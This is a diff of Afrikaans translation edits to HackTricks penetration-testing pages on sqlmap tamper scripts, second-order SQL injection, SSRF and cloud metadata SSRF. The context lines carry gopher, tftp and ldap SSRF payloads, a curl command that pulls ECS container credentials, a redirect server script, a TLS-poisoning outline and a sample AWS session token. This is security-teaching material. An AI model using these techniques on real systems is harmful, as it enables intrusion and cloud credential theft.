-| overlongutf8.py              | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\)                                                         |
+| overlongutf8.py              | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\)                                                  |
 | randomcase.py                | Vervang elke sleutelwoord karakter met ewekansige kaswaarde                                                                          |
-| randomcomments.py            | Voeg ewekansige kommentaar by SQL sleutelwoorde                                                                                     |
-| securesphere.py              | Voeg spesiaal saamgestelde string by                                                                                                 |
-| sp_password.py               | Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs                                          |
-| space2comment.py             | Vervang spasie karakter \(' '\) met kommentaar                                                                                        |
-| space2dash.py                | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\)       |
+| randomcomments.py            | Voeg ewekansige kommentaar by SQL sleutelwoorde                                                                                   |
+| securesphere.py              | Voeg spesiaal saamgestelde string by                                                                                               |
+| sp_password.py               | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs                                      |
+| space2comment.py             | Vervang spasie karakter \(' '\) met kommentaar                                                                                     |
+| space2dash.py                | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\)      |
 | space2hash.py                | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\)          |
 | space2morehash.py            | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\)          |
 | space2mssqlblank.py          | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                        |
 | space2mssqlhash.py           | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\)                                   |
 | space2mysqlblank.py          | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                        |
-| space2mysqldash.py           | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\)                               |
-| space2plus.py                | Vervang spasie karakter \(' '\) met plus \('+'\)                                                                                    |
+| space2mysqldash.py           | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\)                              |
+| space2plus.py                | Vervang spasie karakter \(' '\) met plus \('+'\)                                                                                   |
 | space2randomblank.py         | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                        |
 | symboliclogical.py           | Vervang AND en OR logiese operators met hul simboliese teenhangers \(&& en                                                        |
 | unionalltounion.py           | Vervang UNION ALL SELECT met UNION SELECT                                                                                          |
 | unmagicquotes.py             | Vervang aanhaling karakter \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
-| uppercase.py                 | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT'                                                                   |
-| varnish.py                   | Voeg 'n HTTP kop 'X-originating-IP' by                                                                                              |
+| uppercase.py                 | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT'                                                                  |
+| varnish.py                   | Voeg 'n HTTP kop 'X-originating-IP' by                                                                                             |
 | versionedkeywords.py         | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar                                                                  |
 | versionedmorekeywords.py     | Omhels elke sleutelwoord met weergawe MySQL kommentaar                                                                               |
 | xforwardedfor.py             | Voeg 'n vals HTTP kop 'X-Forwarded-For' by                                                                                         |

src/pentesting-web/sql-injection/sqlmap/README.md

@@ -116,7 +116,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
 ```
 [**Lees hierdie pos** ](second-order-injection-sqlmap.md)**oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.**
 
-## Pas Inspuiting Aan
+## Pas Inspuiting aan
 
 ### Stel 'n agtervoegsel in
 ```bash
@@ -140,52 +140,52 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
 ```
 | Tamper                       | Beskrywing                                                                                                                        |
 | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
-| apostrophemask.py            | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger                                                                    |
-| apostrophenullencode.py      | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger                                                              |
-| appendnullbyte.py            | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload                                                               |
-| base64encode.py              | Base64 al karakters in 'n gegewe payload                                                                                           |
+| apostrophemask.py            | Vervang apostrofkarakter met sy UTF-8 volle breedte teenhanger                                                                    |
+| apostrophenullencode.py      | Vervang apostrofkarakter met sy onwettige dubbele unicode teenhanger                                                              |
+| appendnullbyte.py            | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload                                                              |
+| base64encode.py              | Base64 al karakters in 'n gegewe payload                                                                                          |
 | between.py                   | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #'                                                                        |
-| bluecoat.py                  | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator      |
-| chardoubleencode.py          | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)                                              |
-| commalesslimit.py            | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'                                                                       |
-| commalessmid.py              | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'                                                                  |
-| concat2concatws.py           | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                  |
-| charencode.py                | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)                                                     |
+| bluecoat.py                  | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator     |
+| chardoubleencode.py          | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)                                             |
+| commalesslimit.py            | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'                                                                      |
+| commalessmid.py              | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'                                                                 |
+| concat2concatws.py           | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                |
+| charencode.py                | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)                                                    |
 | charunicodeencode.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022"                     |
 | charunicodeescape.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022"                     |
 | equaltolike.py               | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE'                                                                 |
-| escapequotes.py              | Skuil aanhalings (' en ")                                                                                                          |
-| greatest.py                  | Vervang groter as operator ('>') met 'GREATEST' teenhanger                                                                         |
-| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by                                                                          |
+| escapequotes.py              | Skuil aanhalingstekens (' en ")                                                                                                    |
+| greatest.py                  | Vervang groter as operator ('>') met 'GREATEST' teenhanger                                                                       |
+| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by                                                                        |
 | ifnull2ifisnull.py           | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'                                                                  |
 | modsecurityversioned.py      | Omhels volledige navraag met weergawe kommentaar                                                                                   |
 | modsecurityzeroversioned.py  | Omhels volledige navraag met nul-weergawe kommentaar                                                                                |
-| multiplespaces.py            | Voeg meerdere spasies rondom SQL sleutelwoorde by                                                                                   |
+| multiplespaces.py            | Voeg meerdere spasies rondom SQL sleutelwoorde by                                                                                  |
 | nonrecursivereplacement.py   | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters   |
-| percentage.py                | Voeg 'n persentasieteken ('%') voor elke karakter by                                                                                |
+| percentage.py                | Voeg 'n persentasieteken ('%') voor elke karakter by                                                                               |
 | overlongutf8.py              | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)                                                    |
-| randomcase.py                | Vervang elke sleutelwoord karakter met ewekansige kaswaarde                                                                         |
+| randomcase.py                | Vervang elke sleutelwoordkarakter met ewekansige kaswaarde                                                                          |
 | randomcomments.py            | Voeg ewekansige kommentaar by SQL sleutelwoorde                                                                                   |
-| securesphere.py              | Voeg spesiaal saamgestelde string by                                                                                                 |
-| sp_password.py               | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs                                       |
-| space2comment.py             | Vervang spasie karakter (' ') met kommentaar                                                                                       |
+| securesphere.py              | Voeg spesiaal saamgestelde string by                                                                                               |
+| sp_password.py               | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs                                     |
+| space2comment.py             | Vervang spasie karakter (' ') met kommentaar                                                                                        |
 | space2dash.py                | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')              |
-| space2hash.py                | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')                  |
-| space2morehash.py            | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')                  |
-| space2mssqlblank.py          | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                            |
-| space2mssqlhash.py           | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n')                                          |
-| space2mysqlblank.py          | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                            |
+| space2hash.py                | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')                    |
+| space2morehash.py            | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')                    |
+| space2mssqlblank.py          | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                          |
+| space2mssqlhash.py           | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n')                                          |
+| space2mysqlblank.py          | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                          |
 | space2mysqldash.py           | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n')                                      |
 | space2plus.py                | Vervang spasie karakter (' ') met plus ('+')                                                                                       |
-| space2randomblank.py         | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                            |
+| space2randomblank.py         | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters                          |
 | symboliclogical.py           | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en                                                         |
 | unionalltounion.py           | Vervang UNION ALL SELECT met UNION SELECT                                                                                          |
-| unmagicquotes.py             | Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
-| uppercase.py                 | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT'                                                                   |
-| varnish.py                   | Voeg 'n HTTP kop 'X-originating-IP' by                                                                                              |
+| unmagicquotes.py             | Vervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk) |
+| uppercase.py                 | Vervang elke sleutelwoordkarakter met hoofletters waarde 'INSERT'                                                                   |
+| varnish.py                   | Voeg 'n HTTP kop 'X-originating-IP' by                                                                                             |
 | versionedkeywords.py         | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar                                                                  |
 | versionedmorekeywords.py     | Omhels elke sleutelwoord met weergawe MySQL kommentaar                                                                               |
-| xforwardedfor.py             | Voeg 'n vals HTTP kop 'X-Forwarded-For' by                                                                                          |
+| xforwardedfor.py             | Voeg 'n vals HTTP kop 'X-Forwarded-For' by                                                                                         |
 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md

@@ -6,7 +6,7 @@ Jy moet verskaf:
 - Die **versoek** waar die **sqlinjection payload** gestoor gaan word
 - Die **versoek** waar die **payload** sal wees **uitgevoer**
 
-Die versoek waar die SQL injection payload gestoor word, is **aangedui soos in enige ander inspuiting in sqlmap**. Die versoek **waar sqlmap die uitvoer/uitvoering** van die inspuiting kan lees, kan aangedui word met `--second-url` of met `--second-req` as jy 'n volledige versoek uit 'n lêer moet aandui.
+Die versoek waar die SQL-inspuiting payload gestoor word, is **aangedui soos in enige ander inspuiting in sqlmap**. Die versoek **waar sqlmap die uitvoer/uitvoering** van die inspuiting kan lees, kan aangedui word met `--second-url` of met `--second-req` as jy 'n volledige versoek uit 'n lêer moet aandui.
 
 **Eenvoudige tweede orde voorbeeld:**
 ```bash

src/pentesting-web/ssrf-server-side-request-forgery/README.md

@@ -8,7 +8,7 @@
 
 ## Capture SSRF
 
-Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS-interaksie te vang, kan jy gereedskap soos die volgende gebruik:
+Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS interaksie te vang, kan jy gereedskap soos die volgende gebruik:
 
 - **Burp Collaborator**
 - [**pingb**](http://pingb.in)
@@ -42,7 +42,7 @@ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.
 - **SFTP://**
 - Geïdentifiseer as 'n protokol vir veilige lêer oordrag oor 'n veilige skulp, 'n voorbeeld word gegee wat toon hoe 'n PHP-skrip misbruik kan word om met 'n kwaadwillige SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
 - **TFTP://**
-- Trivial File Transfer Protocol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP versoek word gemaak na 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
+- Triviale Lêer Oordrag Protokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP versoek word gemaak na 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
 - **LDAP://**
 - Hierdie segment dek die Lightweight Directory Access Protocol, met die klem op die gebruik daarvan om verspreide gidsinligting dienste oor IP-netwerke te bestuur en te benader. Interaksie met 'n LDAP-bediener op localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
@@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
 ```
 ## SSRF via Referrer header & Others
 
-Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite plugin "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
+Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
 
 ## SSRF via SNI data from certificate
 
-'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx konfigurasie:
+'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
 ```
 stream {
 server {
@@ -133,7 +133,7 @@ Dit mag die moeite werd wees om 'n payload soos: `` url=http://3iufty2q67fuy2dew
 
 ## PDFs Rendering
 
-As die webblad outomaties 'n PDF met inligting wat jy verskaf het, skep, kan jy **sekere JS invoeg wat deur die PDF-skeppper** self (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
+As die webblad outomaties 'n PDF met inligting wat jy verskaf het, skep, kan jy **sekere JS invoeg wat deur die PDF-skeppende** (die bediener) self uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
 
 ## Van SSRF na DoS
 
@@ -149,7 +149,7 @@ Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:
 
 ## SSRF Oorplasing na Gopher
 
-Vir sommige uitbuitings mag jy **'n oorplasing antwoord moet stuur** (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n oorplasing te antwoord:
+Vir sommige eksploitasiemogelijkheden mag jy **'n oorplasing antwoord moet stuur** (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n oorplasing te antwoord:
 ```python
 # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
 from http.server import HTTPServer, BaseHTTPRequestHandler
@@ -181,7 +181,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ```
 ## Misgeconfigureerde proxies na SSRF
 
-Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+Tricks [**uit hierdie pos**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 
 ### Flask
 
@@ -275,12 +275,12 @@ Vereistes:
 
 Aanval:
 
-1. Vra die gebruiker/bot om **toegang** te verkry tot 'n **domein** wat deur die **aanvaller** beheer word.
-2. Die **TTL** van die **DNS** is **0** sek (so die slagoffer sal die IP van die domein binnekort weer nagaan).
-3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller stel die **payload binne** die **Sessie ID of Sessie Kaartjie** bekend.
-4. Die **domein** sal 'n **oneindige lus** van omleidings teen **homself** begin. Die doel hiervan is om die gebruiker/bot te laat toegang verkry tot die domein totdat dit **weer** 'n **DNS-aanvraag** van die domein uitvoer.
-5. In die DNS-aanvraag word 'n **private IP** adres **nou** gegee (127.0.0.1 byvoorbeeld).
-6. Die gebruiker/bot sal probeer om die **TLS-verbinding te herstel** en om dit te doen, sal dit die **Sessie** ID/Kaartjie ID **stuur** (waar die **payload** van die aanvaller bevat was). So, geluk, jy het daarin geslaag om die **gebruiker/bot te laat aanval**.
+1. Vra die gebruiker/bot om **toegang** te verkry tot 'n **domein** wat deur die **aanvaller** beheer word
+2. Die **TTL** van die **DNS** is **0** sek (so die slagoffer sal die IP van die domein binnekort weer nagaan)
+3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller stel die **lading binne** die **Sessie ID of Sessie Kaartjie** bekend.
+4. Die **domein** sal 'n **oneindige lus** van herleidings teen **homself** begin. Die doel hiervan is om die gebruiker/bot te laat toegang verkry tot die domein totdat dit **weer** 'n **DNS-aanvraag** van die domein uitvoer.
+5. In die DNS-aanvraag word 'n **private IP** adres **nou** gegee (127.0.0.1 byvoorbeeld)
+6. Die gebruiker/bot sal probeer om die **TLS-verbinding te herstel** en om dit te doen sal dit die **Sessie** ID/Kaartjie ID **stuur** (waar die **lading** van die aanvaller bevat was). So geluk, jy het daarin geslaag om die **gebruiker/bot te laat aanval**.
 
 Let daarop dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, jy die slagoffer moet laat die aanvanklike verbinding met www.attacker.com:11211 tot stand bring (die **poort moet altyd dieselfde wees**).\
 Om **hierdie aanval uit te voer kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
@@ -292,7 +292,7 @@ Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde n
 
 ### Tyd-gebaseerde SSRF
 
-**Kontroleer die tyd** van die reaksies van die bediener, dit mag **moontlik wees om te weet of 'n hulpbron bestaan of nie** (miskien neem dit meer tyd om toegang te verkry tot 'n bestaande hulpbron as om toegang te verkry tot een wat nie bestaan nie).
+**Kontroleer die tyd** van die reaksies van die bediener, dit mag **moontlik wees om te weet of 'n hulpbron bestaan of nie** (miskien neem dit meer tyd om toegang te verkry tot 'n bestaande hulpbron as om toegang te verkry tot een wat nie bestaan nie)
 
 ## Cloud SSRF Exploitatie
 
@@ -314,13 +314,13 @@ ssrf-vulnerable-platforms.md
 
 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
 
-Hulpmiddel om SSRF-kwesbaarhede te detecteer en te benut.
+Hulpmiddel om SSRF-kwesbaarhede te detecteer en te benut
 
 ### [Gopherus](https://github.com/tarunkant/Gopherus)
 
 - [Blogpos oor Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
 
-Hierdie hulpmiddel genereer Gopher payloads vir:
+Hierdie hulpmiddel genereer Gopher-lading vir:
 
 - MySQL
 - PostgreSQL
@@ -331,9 +331,9 @@ Hierdie hulpmiddel genereer Gopher payloads vir:
 
 ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 
-- [Blogpos oor SSRF gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
+- [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
 
-_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheid skandeerder wat aanval operasies vir die meeste algemene _Java RMI_ kwesbaarhede ondersteun. Meeste van die beskikbare operasies ondersteun die `--ssrf` opsie, om 'n _SSRF_ payload vir die aangevraagde operasie te genereer. Saam met die `--gopher` opsie, kan gereed-om-te-gebruik _gopher_ payloads direk gegenereer word.
+_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheid skandeerder wat aanval operasies vir die meeste algemene _Java RMI_ kwesbaarhede ondersteun. Meeste van die beskikbare operasies ondersteun die `--ssrf` opsie, om 'n _SSRF_ lading vir die aangevraagde operasie te genereer. Saam met die `--gopher` opsie, kan gereed-om-te-gebruik _gopher_ ladings direk gegenereer word.
 
 ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
 

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -75,20 +75,20 @@ echo ""
 echo "EC2 Security Credentials"
 eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
 ```
-As 'n **openlik beskikbare IAM-akkrediteerings** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
+As 'n **openlik beskikbare IAM geloofsbriewe** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
 
-Jy kan ook openbare **EC2-sekuriteitsakkrediteerings** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
+Jy kan ook openbare **EC2 veiligheidsgeloofsbriewe** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
 
-Jy kan dan **daardie akkrediteerings neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
+Jy kan dan **daardie geloofsbriewe neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
 
-Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
+Om voordeel te trek uit die nuwe geloofsbriewe, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
 ```
 [profilename]
 aws_access_key_id = ASIA6GG71[...]
 aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
 aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
 ```
-Let wel op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk.
+Let op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk.
 
 [**PACU**](https://github.com/RhinoSecurityLabs/pacu) kan gebruik word met die ontdekte geloofsbriewe om jou voorregte uit te vind en te probeer om voorregte te eskaleer.
 
@@ -97,7 +97,7 @@ Let wel op die **aws_session_token**, dit is onontbeerlik vir die profiel om te
 **ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**.
 
 As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\
-Jy kan dit lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
+Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
 Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee.
 ```bash
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@@ -107,7 +107,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
 
 ### SSRF vir AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
 
